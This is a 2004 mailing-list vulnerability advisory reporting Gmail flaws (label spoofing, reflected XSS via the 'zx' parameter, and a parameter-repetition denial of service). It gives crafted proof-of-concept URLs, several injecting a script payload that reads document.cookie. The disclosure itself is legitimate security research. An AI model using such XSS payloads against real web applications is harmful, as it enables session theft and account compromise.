Date: Sat, 20 Nov 2004 03:37:04 +0100 From: Lostmon Subject: multiples vulnerabilities in gmail service (XSS, Denial of Service,) ####################################### Denial of service On gmail account vendor url: http://gmail.google.com/ vendor notified:yes exploit included :yes original advisore:http://lostmon.spymac.net/blog/ ######################################## wen a user have active the Gmail´s cookie a user can create a special URL to Gmail service have these two vulnerabilities : 1- change a name of button of "remove label" and can create a Ghost categorie. http://gmail.google.com/gmail?search=cat&cat=[label_name]&view=tl&start=0&zx=18acabd2 b173f0d81040559556&fs=1 2 .variable xz no validate properly the imput and can permit execute XSS code http://gmail.google.com/gmail?search=cat&cat=etiketa&view=tl&start=0&zx=18acabd2b173f 0d81040559556[XSS-code]&fs=1 3.Denial of service fs variable not count how many times is in url and ,,,, http://gmail.google.com/gmail?search=cat&cat=etiketa&view=tl&start=0&zx=18acabd2b173f 0d81040559556&fs=%3Cscript%3Ealert( document.cookie)%3C%2Fscript%3E&fs=1 or http://gmail.google.com/gmail?search=cat&cat=etiketa&view=tl&start=0&zx=18acabd2b173f 0d81040559556&fs=%3Cscript%3Ealert( document.cookie)%3C%2Fscript%3E&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs =1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1& fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1 nice :) atentamente: Lostmon thnx to http://www.ayuda-internet.net for their support Thnx to Rottew and ismax Thx to estrella to be my ligth La curiosidad es lo que hace mover la mente....